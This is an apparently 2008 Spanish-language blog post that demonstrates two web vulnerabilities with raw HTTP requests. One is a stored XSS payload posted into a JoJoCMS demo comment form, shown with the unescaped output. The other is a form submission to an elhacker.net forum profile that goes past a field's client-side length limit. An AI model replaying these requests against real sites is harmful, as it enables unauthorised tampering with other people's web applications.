XD blog

POST /blog/1/welcome-to-jojocms/ HTTP/1.1
Host: demo.jojocms.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.0.3) Gecko/2008092417
Firefox/3.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://demo.jojocms.org/blog/1/welcome-to-jojocms/
Cookie: jojo=6cc641e1381c3201206cacfc9ce448ab; utma=119248274.775642559681182300.12259305
62.1225930562.1225930562.1; utmb=119248274.1.10.1225930562; utmc=119248274; utmz=1192482
74.1225930562.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
userid=&name=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&email=asd%40asd.asd&website
=http%3A%2F%2Fasd.net&anchortext=asd&captchacode=fhq&comment=asdsad&submit=Post+Comment+
%3E%3E

<div class="comment" id="article-comment-wrap-2">

<h4><a href="http://asd.net" target="new" rel="nofollow"><script>alert("XSS")</script>
</a><span class="date"> - Nov 5, 2008</span></h4>
<p id="article-comment-2" class="comment-text">asdsad</p>
</div>
</div>

<td><input name="personalText" size="50" maxlength="50" value="jelou guorld" type="text"></td>

El problema es que en el php no se comprueba que el usuario no halla puesto un texto mas largo. Por ejemplo, tenemos esto:

---

foro.elhacker.net/profile2.htmlPOST /profile2.html HTTP/1.1
Host: foro.elhacker.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: foro.elhacker.net/profiles/s_e_t_h-u252901.html;sa,forumProfile
Cookie: WTF?!=
Content-Type: multipart/form-data; boundary=—————————29617909925023
Content-Length: 2300
—————————–29617909925023
Content-Disposition: form-data; name=”cat”

blank.gif
—————————–29617909925023
Content-Disposition: form-data; name=”avatar_choice”

external
—————————–29617909925023
Content-Disposition: form-data; name=”userpicpersonal”

http://www.jluis37.com/2005mar/carretera2.jpg
—————————–29617909925023
Content-Disposition: form-data; name=”personalText”

Ha tenido un sueño donde todos los pollos eran libres de cruzar una carretera sin tener que justificar sus actos… Como ven, esto es mas largo de lo permitido
—————————–29617909925023
Content-Disposition: form-data; name=”bday3″

0000
—————————–29617909925023
Content-Disposition: form-data; name=”bday1″

00
—————————–29617909925023
Content-Disposition: form-data; name=”bday2″

00
—————————–29617909925023
Content-Disposition: form-data; name=”location”

—————————–29617909925023
Content-Disposition: form-data; name=”gender”

0
—————————–29617909925023
Content-Disposition: form-data; name=”ICQ”

—————————–29617909925023
Content-Disposition: form-data; name=”AIM”

—————————–29617909925023
Content-Disposition: form-data; name=”MSN”

—————————–29617909925023
Content-Disposition: form-data; name=”YIM”

—————————–29617909925023
Content-Disposition: form-data; name=”signature”

[url=http://seth.inkt.fdchost.com/]¡ENTRA EN MI BLOG O TE JUANKEO![/url]

[img]http://i260.photobucket.com/albums/ii32/calumrulez/vb.png[/img]
—————————–29617909925023
Content-Disposition: form-data; name=”websiteTitle”

MI BLOG!

ETC…